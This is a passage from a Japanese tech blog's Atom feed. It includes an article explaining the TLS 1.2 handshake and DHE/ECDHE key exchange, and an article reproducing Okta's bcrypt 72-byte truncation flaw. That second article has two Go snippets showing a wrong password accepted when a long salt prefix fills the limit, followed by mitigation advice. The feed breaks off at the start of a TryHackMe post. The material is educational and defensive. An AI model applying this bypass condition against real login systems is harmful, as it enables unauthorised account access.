<li>Wiresharkでハンドシェイク（Handshake）を確認【TLS1.2】 | Japanese PKI Blog</li>
</ul>
]]></content>
    <summary type="html">TLSハンドシェイクの中身を順番に見ていくため、理論編で示したシーケンス図をチラ見しながら本記事を読んでいただけると理解が進みやすいかと思います。</summary>
    <category term="Security" scheme="https://future-architect.github.io/categories/Security/"/>
    <category term="Go" scheme="https://future-architect.github.io/tags/Go/"/>
    <category term="HTTPS" scheme="https://future-architect.github.io/tags/HTTPS/"/>
    <category term="OpenSSL" scheme="https://future-architect.github.io/tags/OpenSSL/"/>
    <category term="Wireshark" scheme="https://future-architect.github.io/tags/Wireshark/"/>
    <category term="ネットワーク" scheme="https://future-architect.github.io/tags/Network/"/>
  </entry>
  <entry>
    <title>【理論編】HTTPS通信の中身を見て、どのようにしてセキュアな通信が確立されるかを理解する</title>
    <link href="https://future-architect.github.io/articles/20250324a/"/>
    <id>https://future-architect.github.io/articles/20250324a/</id>
    <published>2025-03-23T15:00:00.000Z</published>
    <updated>2025-03-23T15:00:00.000Z</updated>
    <author><name>市川裕也</name></author>
    <content type="html"><![CDATA[<p>こんにちは、CSIG 所属の市川です。普段は FutureVuls という脆弱性管理サービスの開発・カスタマーサポートをしています。</p>
<p><strong>「ん？そういえば、HTTPS 通信 (HTTP over SSL/TLS) では実際どのようにセキュアな通信が確立されているんだろう？」</strong> と、ふと気になってしまうこと、ありませんか？私はありました。</p>
<p>というわけで、SSL/TLS について書籍などで学んでみたのですが…</p>
<ul>
<li>アルゴリズムが沢山出てきて頭がこんがらがる…。結局どのフェーズでどのアルゴリズムが使われているんだろう？</li>
<li>TLS ハンドシェイクの中では、実際どういった通信が行われているのだろうか。ハンドシェイク確立後はちゃんと暗号化されているのだろうか。</li>
</ul>
<p>…というモヤモヤが残りました。</p>
<p>本記事 (理論編) と、続編の実践編で、この2点の疑問を解決していきます。</p>
<h2 id="本記事でやりたいこと">本記事でやりたいこと</h2><p>本記事 (<strong>理論編</strong>) では、以下の3点について解説します。</p>
<ul>
<li>各アルゴリズムが何のために使われるかを整理する</li>
<li>TLS1.2ハンドシェイクの各フェーズで使用されるアルゴリズムと送信される情報を、シーケンス図を用いて整理する</li>
<li>鍵交換方式 (どのようにして暗号化に用いる共通鍵を共有するか) について理解を深める</li>
</ul>
<p>なお、<strong>実践編</strong>では以下を行っていきます。「細かいことはいいから、通信の中身を見たい」という方は、続編の実践編をお読みください。</p>
<ul>
<li>「Wireshark」というツールを用いて TLS ハンドシェイクの中身を実際に覗いてみて、理論編の内容を確認する</li>
</ul>
<div class="note-container note-warn"><span class="note-icon"></span><div>

<p>TLS1.3 だと、ハンドシェイクの序盤で通信が暗号化されるのですが、今回の環境では通信の復号がうまく行えず、ハンドシェイクの中身を平文で確認できませんでした。そのため、本記事は TLS1.2 をベースに解説しています。また、「実践編」でも TLS1.2 の通信を扱います。</p>
<p>TLS1.3ハンドシェイクはTLS1.2ハンドシェイクとは大きく異なります。TLS1.3 について理解したい方は、以下の書籍などを参考にしてください。</p>
<p>https://www.lambdanote.com/products/tls-pki-2</p>
</div></div>

<h2 id="本記事では扱わない内容">本記事では扱わない内容</h2><p>上記の「本記事でやりたいこと」に解説するポイントを絞るため、以下については本記事での解説の対象外としています。あらかじめご了承ください。</p>
<ul>
<li>PKI (公開鍵基盤) まわりについての解説</li>
<li>ハンドシェイク後の暗号化についての解説</li>
</ul>
<h2 id="理論編">理論編</h2><h3 id="どうして-SSL-TLS-通信が必要なのか">どうして SSL/TLS 通信が必要なのか</h3><p>セキュアな通信のためには、以下の4点に気を付ける必要があります。</p>
<ol>
<li>「なりすまし」されても気づけるようにする</li>
<li>「否認」されないよう、本人でしか送付できない情報形式にする</li>
<li>「改ざん」されても検知できるようにする</li>
<li>「盗聴」されてもデータが読めないようにする</li>
</ol>
<p>SSL/TLS を用いることで、これらを実現できます。</p>
<h4 id="SSL-TLS-で用いられる手法と、使用される代表的なアルゴリズム">SSL/TLS で用いられる手法と、使用される代表的なアルゴリズム</h4><p>上記4点を保証するため、それぞれ以下のような手法とアルゴリズムが用いられます。</p>
<div class="scroll"><table>
<thead>
<tr>
<th align="left">防ぎたいもの</th>
<th align="left">用いられる手法</th>
<th align="left">使用される代表的なアルゴリズム</th>
</tr>
</thead>
<tbody><tr>
<td align="left">なりすまし、否認</td>
<td align="left">電子署名を用いた認証</td>
<td align="left">RSA, ECDSA</td>
</tr>
<tr>
<td align="left">改ざん</td>
<td align="left">MAC (メッセージ認証符号) を用いた改ざん検知</td>
<td align="left">HMAC, AES-GCM</td>
</tr>
<tr>
<td align="left">-</td>
<td align="left">暗号化のための鍵の交換</td>
<td align="left">DHE, ECDHE</td>
</tr>
<tr>
<td align="left">盗聴</td>
<td align="left">データの暗号化</td>
<td align="left">AES</td>
</tr>
</tbody></table></div>
<h3 id="TLS1-2-ハンドシェイクのシーケンス図">TLS1.2 ハンドシェイクのシーケンス図</h3><p>SSL/TLS通信は大きく、ハンドシェイクフェーズと、暗号化後のデータ転送フェーズに分けられます。<br>このうち、ハンドシェイクフェーズの流れとしては、大まか以下の通りです。</p>
<ol>
<li><strong>使用する暗号化スイートの合意</strong><ul>
<li>認証アルゴリズム</li>
<li>共通鍵暗号方式 (データ転送時に使う暗号化用アルゴリズム)</li>
<li>ハッシュアルゴリズム</li>
</ul>
</li>
<li><strong>サーバーの認証</strong></li>
<li><strong>データ転送で使用する鍵の確立</strong></li>
<li><strong>ハンドシェイク中の改ざん検知</strong></li>
</ol>
<div class="note-container note-info"><span class="note-icon"></span><div>

<p>ここでは、最も一般的な「サーバのみが認証されるパターン」を紹介しています。ここに「クライアントの認証」が追加されたり、セッションの再開により一部手順が省略されたりすることもあります。</p>
</div></div>

<p>TLSハンドシェイクが上記のステップで行われた場合に、サーバとクライアント間でやり取りされる各メッセージと値について、以下のシーケンス図にまとめました。</p>
<p>シーケンス図内では、各アルゴリズムを太字で表記しています。各フェーズでどのアルゴリズムがなんのために使われるかの整理に活用いただければ幸いです。</p>
<p>今回は、以下の暗号スイートが用いられていると仮定しています。</p>
<div class="scroll"><table>
<thead>
<tr>
<th align="left">用途</th>
<th align="left">アルゴリズム</th>
</tr>
</thead>
<tbody><tr>
<td align="left">認証(電子署名)</td>
<td align="left">RSA</td>
</tr>
<tr>
<td align="left">ハッシュ化</td>
<td align="left">SHA256</td>
</tr>
<tr>
<td align="left">鍵交換</td>
<td align="left">ECDHE</td>
</tr>
<tr>
<td align="left">データの暗号化</td>
<td align="left">AES</td>
</tr>
</tbody></table></div>
<img fetchpriority="high" src="/images/2025/20250324a/ssl-ver2.drawio_(2).png" alt="ssl-ver2.drawio_(2).png" width="820" height="1626">

<p>実践編では、これらの各フェーズにおける通信の中身を確かめていきます。</p>
<h3 id="ステップ3-の鍵の確立方法についての補足">ステップ3 の鍵の確立方法についての補足</h3><p>「<strong>鍵の確立方法</strong>」は、TLSハンドシェイクの流れを理解するために特に重要なので、補足します。データ転送フェーズでは、共通鍵を使用してデータの暗号化を行います。この共通鍵を作成するために「プリマスターシークレット」を生成する必要があります。</p>
<p>そして、このプリマスターシークレットは、「鍵交換アルゴリズム」を用いることで生成されます。</p>
<p>鍵交換の際に行われることについて、以下に超ざっくりまとめます。</p>
<p>シーケンス図および通信の中身について理解する上では、以下くらいの粒度で理解しておけば問題ないかと思います。</p>
<ul>
<li>サーバとクライアントの双方が秘密鍵を生成し、保持する</li>
<li>秘密鍵とパラメータ (ECDHE の場合は <code>named_curve</code>) から公開鍵を生成し、サーバ⇄クライアント間で交換する</li>
<li>相手から受け取った公開鍵と自身が保持する秘密鍵から、プリマスタシークレットを生成する</li>
<li>プリマスタシークレットは、サーバとクライアントで同じものになる</li>
</ul>
<hr>
<p>以下、代表的な鍵交換アルゴリズムです。</p>
<ul>
<li>DHE (Diffie-Hellman Ephemeral)</li>
<li>ECDHE (Elliptic curve Diffie–Hellman Ephemeral)</li>
</ul>
<p>の2つについて、もう少し詳しく紹介します。</p>
<h4 id="DHE-Diffie-Hellman-Ephemeral">DHE (Diffie-Hellman Ephemeral)</h4><p>DHE の仕組みはざっくり以下の画像のような感じです。</p>
<p>鍵交換方式として DHE を用いることで、秘密鍵 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.439ex;" xmlns="http://www.w3.org/2000/svg" width="4.42ex" height="2.059ex" role="img" focusable="false" viewBox="0 -716 1953.7 910"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D434" d="M208 74Q208 50 254 46Q272 46 272 35Q272 34 270 22Q267 8 264 4T251 0Q249 0 239 0T205 1T141 2Q70 2 50 0H42Q35 7 35 11Q37 38 48 46H62Q132 49 164 96Q170 102 345 401T523 704Q530 716 547 716H555H572Q578 707 578 706L606 383Q634 60 636 57Q641 46 701 46Q726 46 726 36Q726 34 723 22Q720 7 718 4T704 0Q701 0 690 0T651 1T578 2Q484 2 455 0H443Q437 6 437 9T439 27Q443 40 445 43L449 46H469Q523 49 533 63L521 213H283L249 155Q208 86 208 74ZM516 260Q516 271 504 416T490 562L463 519Q447 492 400 412L310 260L413 259Q516 259 516 260Z"></path></g><g data-mml-node="mo" transform="translate(750,0)"><path data-c="2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z"></path></g><g data-mml-node="mi" transform="translate(1194.7,0)"><path data-c="1D435" d="M231 637Q204 637 199 638T194 649Q194 676 205 682Q206 683 335 683Q594 683 608 681Q671 671 713 636T756 544Q756 480 698 429T565 360L555 357Q619 348 660 311T702 219Q702 146 630 78T453 1Q446 0 242 0Q42 0 39 2Q35 5 35 10Q35 17 37 24Q42 43 47 45Q51 46 62 46H68Q95 46 128 49Q142 52 147 61Q150 65 219 339T288 628Q288 635 231 637ZM649 544Q649 574 634 600T585 634Q578 636 493 637Q473 637 451 637T416 636H403Q388 635 384 626Q382 622 352 506Q352 503 351 500L320 374H401Q482 374 494 376Q554 386 601 434T649 544ZM595 229Q595 273 572 302T512 336Q506 337 429 337Q311 337 310 336Q310 334 293 263T258 122L240 52Q240 48 252 48T333 46Q422 46 429 47Q491 54 543 105T595 229Z"></path></g></g></g></svg></mjx-container> を隠したまま、強力なプリマスタシークレット <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.05ex;" xmlns="http://www.w3.org/2000/svg" width="13.372ex" height="2.016ex" role="img" focusable="false" viewBox="0 -869.3 5910.4 891.3"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msup"><g data-mml-node="mi"><path data-c="1D43A" d="M50 252Q50 367 117 473T286 641T490 704Q580 704 633 653Q642 643 648 636T656 626L657 623Q660 623 684 649Q691 655 699 663T715 679T725 690L740 705H746Q760 705 760 698Q760 694 728 561Q692 422 692 421Q690 416 687 415T669 413H653Q647 419 647 422Q647 423 648 429T650 449T651 481Q651 552 619 605T510 659Q492 659 471 656T418 643T357 615T294 567T236 496T189 394T158 260Q156 242 156 221Q156 173 170 136T206 79T256 45T308 28T353 24Q407 24 452 47T514 106Q517 114 529 161T541 214Q541 222 528 224T468 227H431Q425 233 425 235T427 254Q431 267 437 273H454Q494 271 594 271Q634 271 659 271T695 272T707 272Q721 272 721 263Q721 261 719 249Q714 230 709 228Q706 227 694 227Q674 227 653 224Q646 221 643 215T629 164Q620 131 614 108Q589 6 586 3Q584 1 581 1Q571 1 553 21T530 52Q530 53 528 52T522 47Q448 -22 322 -22Q201 -22 126 55T50 252Z"></path></g><g data-mml-node="TeXAtom" transform="translate(819,363) scale(0.707)" data-mjx-texclass="ORD"><g data-mml-node="mi"><path data-c="1D434" d="M208 74Q208 50 254 46Q272 46 272 35Q272 34 270 22Q267 8 264 4T251 0Q249 0 239 0T205 1T141 2Q70 2 50 0H42Q35 7 35 11Q37 38 48 46H62Q132 49 164 96Q170 102 345 401T523 704Q530 716 547 716H555H572Q578 707 578 706L606 383Q634 60 636 57Q641 46 701 46Q726 46 726 36Q726 34 723 22Q720 7 718 4T704 0Q701 0 690 0T651 1T578 2Q484 2 455 0H443Q437 6 437 9T439 27Q443 40 445 43L449 46H469Q523 49 533 63L521 213H283L249 155Q208 86 208 74ZM516 260Q516 271 504 416T490 562L463 519Q447 492 400 412L310 260L413 259Q516 259 516 260Z"></path></g><g data-mml-node="mi" transform="translate(750,0)"><path data-c="1D435" d="M231 637Q204 637 199 638T194 649Q194 676 205 682Q206 683 335 683Q594 683 608 681Q671 671 713 636T756 544Q756 480 698 429T565 360L555 357Q619 348 660 311T702 219Q702 146 630 78T453 1Q446 0 242 0Q42 0 39 2Q35 5 35 10Q35 17 37 24Q42 43 47 45Q51 46 62 46H68Q95 46 128 49Q142 52 147 61Q150 65 219 339T288 628Q288 635 231 637ZM649 544Q649 574 634 600T585 634Q578 636 493 637Q473 637 451 637T416 636H403Q388 635 384 626Q382 622 352 506Q352 503 351 500L320 374H401Q482 374 494 376Q554 386 601 434T649 544ZM595 229Q595 273 572 302T512 336Q506 337 429 337Q311 337 310 336Q310 334 293 263T258 122L240 52Q240 48 252 48T333 46Q422 46 429 47Q491 54 543 105T595 229Z"></path></g></g></g><g data-mml-node="mspace" transform="translate(1936,0)"></g><g data-mml-node="mi" transform="translate(2769.7,0)"><path data-c="6D" d="M41 46H55Q94 46 102 60V68Q102 77 102 91T102 122T103 161T103 203Q103 234 103 269T102 328V351Q99 370 88 376T43 385H25V408Q25 431 27 431L37 432Q47 433 65 434T102 436Q119 437 138 438T167 441T178 442H181V402Q181 364 182 364T187 369T199 384T218 402T247 421T285 437Q305 442 336 442Q351 442 364 440T387 434T406 426T421 417T432 406T441 395T448 384T452 374T455 366L457 361L460 365Q463 369 466 373T475 384T488 397T503 410T523 422T546 432T572 439T603 442Q729 442 740 329Q741 322 741 190V104Q741 66 743 59T754 49Q775 46 803 46H819V0H811L788 1Q764 2 737 2T699 3Q596 3 587 0H579V46H595Q656 46 656 62Q657 64 657 200Q656 335 655 343Q649 371 635 385T611 402T585 404Q540 404 506 370Q479 343 472 315T464 232V168V108Q464 78 465 68T468 55T477 49Q498 46 526 46H542V0H534L510 1Q487 2 460 2T422 3Q319 3 310 0H302V46H318Q379 46 379 62Q380 64 380 200Q379 335 378 343Q372 371 358 385T334 402T308 404Q263 404 229 370Q202 343 195 315T187 232V168V108Q187 78 188 68T191 55T200 49Q221 46 249 46H265V0H257L234 1Q210 2 183 2T145 3Q42 3 33 0H25V46H41Z"></path><path data-c="6F" d="M28 214Q28 309 93 378T250 448Q340 448 405 380T471 215Q471 120 407 55T250 -10Q153 -10 91 57T28 214ZM250 30Q372 30 372 193V225V250Q372 272 371 288T364 326T348 362T317 390T268 410Q263 411 252 411Q222 411 195 399Q152 377 139 338T126 246V226Q126 130 145 91Q177 30 250 30Z" transform="translate(833,0)"></path><path data-c="64" d="M376 495Q376 511 376 535T377 568Q377 613 367 624T316 637H298V660Q298 683 300 683L310 684Q320 685 339 686T376 688Q393 689 413 690T443 693T454 694H457V390Q457 84 458 81Q461 61 472 55T517 46H535V0Q533 0 459 -5T380 -11H373V44L365 37Q307 -11 235 -11Q158 -11 96 50T34 215Q34 315 97 378T244 442Q319 442 376 393V495ZM373 342Q328 405 260 405Q211 405 173 369Q146 341 139 305T131 211Q131 155 138 120T173 59Q203 26 251 26Q322 26 373 103V342Z" transform="translate(1333,0)"></path></g><g data-mml-node="mstyle" transform="translate(4658.7,0)"><g data-mml-node="mspace"></g></g><g data-mml-node="mstyle" transform="translate(4825.7,0)"><g data-mml-node="mspace"></g></g><g data-mml-node="mi" transform="translate(5159.4,0)"><path data-c="1D443" d="M287 628Q287 635 230 637Q206 637 199 638T192 648Q192 649 194 659Q200 679 203 681T397 683Q587 682 600 680Q664 669 707 631T751 530Q751 453 685 389Q616 321 507 303Q500 302 402 301H307L277 182Q247 66 247 59Q247 55 248 54T255 50T272 48T305 46H336Q342 37 342 35Q342 19 335 5Q330 0 319 0Q316 0 282 1T182 2Q120 2 87 2T51 1Q33 1 33 11Q33 13 36 25Q40 41 44 43T67 46Q94 46 127 49Q141 52 146 61Q149 65 218 339T287 628ZM645 554Q645 567 643 575T634 597T609 619T560 635Q553 636 480 637Q463 637 445 637T416 636T404 636Q391 635 386 627Q384 621 367 550T332 412T314 344Q314 342 395 342H407H430Q542 342 590 392Q617 419 631 471T645 554Z"></path></g></g></g></svg></mjx-container> をサーバー側 (ボブ)とクライアント側 (アリス) の双方で導き出すことができます。</p>
<img src="/images/2025/20250324a/暗号化方式-2.jpg" alt="暗号化方式-2.jpg" width="1200" height="1552" loading="lazy">

<p>DHE ではセッションごとに新しい乱数とパラメータを使って鍵を交換するため、前方秘匿性 (= あるセッションの鍵が漏洩しても、過去のセッションの通信内容を復号できない性質) が得られます。(DHEのE: <code>Ephemeral</code> は、「パラメータが使い捨てであること」を指しています。)</p>
<p>ただし、DHE には<strong>セキュリティレベルを担保しようとすると、処理が遅くなる</strong>という欠点があります。これは、DHE を用いて高いセキュリティレベルを担保しようとした場合、非常に大きい素数を用いる必要があり、計算量が大きくなってしまうためです。</p>
<h4 id="ECDHE-Elliptic-curve-Diffie–Hellman-Ephemeral">ECDHE (Elliptic curve Diffie–Hellman Ephemeral)</h4><p>DHE と同様に前方秘匿性のある鍵交換方式として、 <strong>ECDHE</strong> が挙げられます。</p>
<p>DHE では冪乗の計算が使用されますが、ECDHE では楕円曲線上の掛け算が使用されます。ECDHE を用いることで、DHEよりも少ないビット長で高いセキュリティレベルを確保できるため、こちらが<strong>現在の鍵交換方式の主流となっています</strong>。</p>
<p>RFC7748 において <code>Curve25519</code> と <code>Curve448</code> と呼ばれる楕円曲線が定義されており、計算に必要なパラメータ一覧が事前に定義されています。</p>
<p>そのため通信の際は、 <code>named_curve</code> というパラメータにいずれかの曲線名を指定するだけで、計算に必要なパラメータをクライアント・サーバ間で共有できます。</p>
<p>ECDHE鍵共有のアルゴリズム自体を深く知りたい場合は、円曲線暗号のPythonによる実装その1（有限体とECDH鍵共有）, SEC 2: Recommended Elliptic Curve Domain Parameters なども参考になるかと思います。</p>
<h4 id="まとめ">まとめ</h4><p>両者の特徴をまとめると、以下のようになります。</p>
<div class="scroll"><table>
<thead>
<tr>
<th align="left"></th>
<th align="left">前方秘匿性</th>
<th align="left">使用される数学</th>
<th align="left">セキュリティを担保するための計算量</th>
</tr>
</thead>
<tbody><tr>
<td align="left"><strong>DHE</strong></td>
<td align="left">あり</td>
<td align="left">素数体、冪乗</td>
<td align="left">大</td>
</tr>
<tr>
<td align="left"><strong>ECDHE</strong></td>
<td align="left">あり</td>
<td align="left">楕円曲線、スカラー乗算</td>
<td align="left">小</td>
</tr>
</tbody></table></div>
<h2 id="まとめ-1">まとめ</h2><p>理論編では、以下の3点について解説してきました。</p>
<ul>
<li>各アルゴリズムが何のために使われるかを整理する</li>
<li>TLS1.2ハンドシェイクのを、シーケンス図を用いて整理する</li>
<li>鍵交換方式について理解を深める</li>
</ul>
<p>実践編では、「Wireshark」というツールを用いて TLS ハンドシェイクの中身を実際に覗いてみて、理論編の内容を確認していきます。</p>
<h2 id="参考文献">参考文献</h2><p><strong>⚪︎全体</strong></p>
<p>SSL/TLS の仕組みを勉強する上で、以下の技術書が非常に参考になりました。</p>
<p>特に、1冊目は非常に体系的かつ網羅的にまとまっているので、SSL/TLS について勉強したい人は持っておいて損はないと思います。2冊目も分かりやすく、SSL/TLS について応用情報程度の知識しかなかった自分でも理解しやすかったです。自己証明書の作成なども、こちらの本を参考にしました。 (ただし、少し古めの本で、TLS1.3 については書かれていません。)</p>
<ul>
<li>プロフェッショナルTLS＆PKI 改題第2版</li>
<li>食べる！SSL！　―HTTPS環境構築から始めるSSL入門</li>
</ul>
<p><strong>⚪︎ DHの理解</strong></p>
<p>Diffie-Hellman 鍵交換方式については、以下を参考にしました。</p>
<ul>
<li>RFC 7748 - Elliptic Curves for Security 日本語訳</li>
<li>TLS・SSLハンドシェイクの仕組みは？ | Cloudflare</li>
<li>楕円曲線暗号のPythonによる実装その1（有限体とECDH鍵共有）</li>
<li>RFC 7748 - Elliptic Curves for Security</li>
<li>Standards for Efficient Cryptography | SEC 2: Recommended Elliptic Curve Domain Parameters</li>
</ul>
<p><strong>⚪︎ Wireshark</strong></p>
<p>wireshake でハンドシェイクを確認する方法については、以下を参考にしました。</p>
<ul>
<li>Wiresharkでハンドシェイク（Handshake）を確認【TLS1.2】 | Japanese PKI Blog</li>
</ul>
]]></content>
    <summary type="html">ん？そういえば、HTTPS 通信 では実際どのようにセキュアな通信が確立されているんだろう？とふと気になってしまうこと、ありませんか？私はありました。というわけで、SSL/TLS について...</summary>
    <category term="Security" scheme="https://future-architect.github.io/categories/Security/"/>
    <category term="HTTPS" scheme="https://future-architect.github.io/tags/HTTPS/"/>
    <category term="RFC" scheme="https://future-architect.github.io/tags/RFC/"/>
    <category term="ネットワーク" scheme="https://future-architect.github.io/tags/Network/"/>
    <category term="暗号" scheme="https://future-architect.github.io/tags/%E6%9A%97%E5%8F%B7/"/>
  </entry>
  <entry>
    <title>Oktaのセキュリティの問題をGoで再現する</title>
    <link href="https://future-architect.github.io/articles/20241106b/"/>
    <id>https://future-architect.github.io/articles/20241106b/</id>
    <published>2024-11-05T15:00:01.000Z</published>
    <updated>2024-11-05T15:00:01.000Z</updated>
    <author><name>澁川喜規</name></author>
    <content type="html"><![CDATA[<img fetchpriority="high" src="/images/2024/20241106b/bcrypt.png" alt="" width="670" height="375">

<p>先日、Oktaでユーザー名が52文字を超えるとどのようなパスワードでもログインできてしまうという問題が公表されました。どういう原理なのか？というのが話題になりましたが下記のサイトに詳しく書かれています。</p>
<p>Okta AD&#x2F;LDAP Delegated Authentication - Username Above 52 Characters Security Advisory</p>
<p>パスワードをサーバー側に保管するときに「プレーンテキストではなく、ハッシュ化しよう」というのは多くのソフトウェア開発者には常識になりつつあるかもしれません。ハッシュ化について強く言われ始めたのはここ15年とかだと思うので、まれに昔実装されていたまま放置されているとかはあるかもしれませんが・・・</p>
<p>しかし、このハッシュ化で使われるbcryptの参照実装含め、多くの実装では72バイトを超える文字列が来た場合に、72バイトに黙って切り詰めてから処理する実装が多いというのがあります。そのため、先頭に着けるソルトが長すぎて72バイトを超えてしまうと、パスワード部分が削除されてハッシュ化されてしまうため、どのようなパスワードでもログインできるようになってしまうと。</p>
<p>Oktaでは、ユーザーIDの20バイト以外に、ユーザー名をソルトとして使い、その後ろにパスワードを繋いだ文字列に対してbcryptをかけていたようで、ユーザー名が52文字を超えるとパスワードなしでログインできてしまうと。</p>
<figure class="highlight txt"><table><tr><td class="code"><pre><span class="line">userId + username + password</span><br></pre></td></tr></table></figure>

<p>ソルトというのは、パスワードに付与する文字列です。偶然同じパスワードを使っているユーザーがいた場合に、そのままハッシュ化（あるいはストレッチ）すると同じハッシュ値になってしまいます。そうなると、一人のパスワードが解読されてしまうと同じパスワードだとばれてしまいます。そのため、個人ごとに異なる文字列を付与して同じパスワードでも別のハッシュの結果が得られるようにするための文字列がソルトです。ソルトは同一パスワードのハッシュが別のものになるようにするのが目的でそれそのものは秘密な情報ではありません。なので、ユーザーIDやユーザー名をソルトに使っていること自体は問題ありません。</p>
<p>Goでも試してみます。準標準ライブラリのbcryptをとってきます。</p>
<figure class="highlight console"><table><tr><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">go get golang.org/x/crypto/bcrypt@v0.4.0</span></span><br></pre></td></tr></table></figure>

<p>次に検証します。最初に作ったhashは、パスワードをハッシュ化したものです。それに対して別のパスワードを付与した入力値を与えるとエラーがnil（パスワード一致）になってしまうことがわかります。</p>
<figure class="highlight go"><table><tr><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line">	<span class="string">&quot;bytes&quot;</span></span><br><span class="line">	<span class="string">&quot;log&quot;</span></span><br><span class="line"></span><br><span class="line">	<span class="string">&quot;golang.org/x/crypto/bcrypt&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">	password := []<span class="type">byte</span>(<span class="string">&quot;password&quot;</span>)</span><br><span class="line">	prefix := bytes.Repeat([]<span class="type">byte</span>(<span class="string">&quot;a&quot;</span>), <span class="number">72</span>)</span><br><span class="line"></span><br><span class="line">	hash, _ := bcrypt.GenerateFromPassword(<span class="built_in">append</span>(prefix, password...), bcrypt.DefaultCost)</span><br><span class="line"></span><br><span class="line">	wrongPassword := []<span class="type">byte</span>(<span class="string">&quot;wrong-password&quot;</span>)</span><br><span class="line">	err := bcrypt.CompareHashAndPassword(hash, <span class="built_in">append</span>(prefix, wrongPassword...))</span><br><span class="line">	log.Println(err)</span><br><span class="line">	<span class="comment">// nil</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>このコードではあえて古いバージョンを使いましたが、最新版では最初のハッシュ計算に限っては72文字を超えるとエラーになる実装が入っています。2022&#x2F;11&#x2F;15の修正でこのチェックが追加されました。入力値が変わっているはずなのにハッシュが変わらないのはおかしいよね、という理由で、今回の問題とは関係ない理由です。ただし比較する <code>CompareHashAndPassword()</code> の方は保存済みのハッシュとの互換性維持のため、チェックはされません。</p>
<p>現状バージョンでも、パスワードとその前の文字列の合計がぎりぎり72文字になるようにしてハッシュを生成すると、パスワードの前方が一致して後ろに余計な文字列が付いている、というケースであれば突破はできてしまいますね。だいぶ条件が厳しくはなりますが。</p>
<figure class="highlight go"><table><tr><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line">	<span class="string">&quot;bytes&quot;</span></span><br><span class="line">	<span class="string">&quot;log&quot;</span></span><br><span class="line"></span><br><span class="line">	<span class="string">&quot;golang.org/x/crypto/bcrypt&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">	password := []<span class="type">byte</span>(<span class="string">&quot;password&quot;</span>)</span><br><span class="line">	prefix := bytes.Repeat([]<span class="type">byte</span>(<span class="string">&quot;a&quot;</span>), <span class="number">72</span>-<span class="built_in">len</span>(password))</span><br><span class="line"></span><br><span class="line">	hash, _ := bcrypt.GenerateFromPassword(<span class="built_in">append</span>(prefix, password...), bcrypt.DefaultCost)</span><br><span class="line"></span><br><span class="line">	wrongPassword := []<span class="type">byte</span>(<span class="string">&quot;passwordwrong&quot;</span>)</span><br><span class="line">	err := bcrypt.CompareHashAndPassword(hash, <span class="built_in">append</span>(prefix, wrongPassword...))</span><br><span class="line">	log.Println(err)</span><br><span class="line">	<span class="comment">// nil</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<h2 id="どう対策すべきか">どう対策すべきか</h2><p>ソルトにそれだけ長い文字列を設定できるようなロジックになっていることは稀かと思いますし、世の中はパスワードを32文字制限とかにしているサービスが多いと思うので、まあこの制限にひっかかることはないかなと思います。</p>
<p>万が一、検証時の入力が72文字を超える場合はエラーを返してパスワードリセットに誘導し、長すぎないソルトとパスワード全量が入るようにして再計算させるとかしかないのかな、という気がします。ハッシュだけみてもパスワード長がわからないのでログイン操作をしてもらわないとわからないですからね。</p>
<p>あとは、別のパスワードストレッチアルゴリズムのargon2とかscryptの実装を見ると、文字列長の足切りはやってなさそうなので、新規で作る場合にはbcrypt以外のアルゴリズムを検討してみるのも良いかもしれません。</p>
]]></content>
    <summary type="html">先日、Oktaでユーザー名が52文字を超えるとどのようなパスワードでもログインできてしまうという問題が公表されました。Goでも試してみます。</summary>
    <category term="Security" scheme="https://future-architect.github.io/categories/Security/"/>
    <category term="Go" scheme="https://future-architect.github.io/tags/Go/"/>
    <category term="ハッシュ関数" scheme="https://future-architect.github.io/tags/%E3%83%8F%E3%83%83%E3%82%B7%E3%83%A5%E9%96%A2%E6%95%B0/"/>
  </entry>
  <entry>
    <title>TryHackMe でセキュリティを気軽に学ぶ</title>
    <link href="https://future-architect.github.io/articles/20241030a/"/>
    <id>https://future-architect.github.io/articles/20241030a/</id>
    <published>2024-10-29T15:00:00.000Z</published>
    <updated>2024-10-29T15:00:00.000Z</updated>
    <author><name>島ノ江励</name></author>
    <content type="html"><![CDATA[<p>秋のブログ週間2024 ３本目です。</p>
<h2 id="はじめに">はじめに</h2><p>ペンギンになりたいエンジニアの島ノ江です。普段は Cyber Security Innovation Group というセキュリティチームに所属していて、FutureVuls という脆弱性管理サービスの開発・営業をしています。</p>
<p>本記事では以下の内容を扱います：</p>
<ul>
<li>セキュリティ学習プラットフォームについて</li>
<li>TryHackMe のサービス概要</li>
<li>HackTheBox との比較</li>
<li>実際に Room を攻略してみる（Walkthrough）</li>
</ul>
<h2 id="セキュリティ学習プラットフォームについて">セキュリティ学習プラットフォームについて</h2><p>脆弱性は「攻撃」と「防御」という言葉を伴います。ハッカーは外部組織の脆弱性を突いて、ランサムウェアによる身代金の要求や情報漏洩などの攻撃をしかけます。逆に組織のセキュリティチームは様々な手法で攻撃を検知・防御し、組織の情報資産を安全に守るよう努めます。</p>
<p>このような脆弱性の攻撃や防御の手法について、例えば SQL Injection や XSS などの用語を、基本情報技術者試験や参考書などで見かけることがあると思います。しかし、これらの技術を試してみるという実践経験はなかなか積めず、知識で留まっていることは多いと思います。</p>
<div class="note-container note-alert"><span class="note-icon"></span><div>

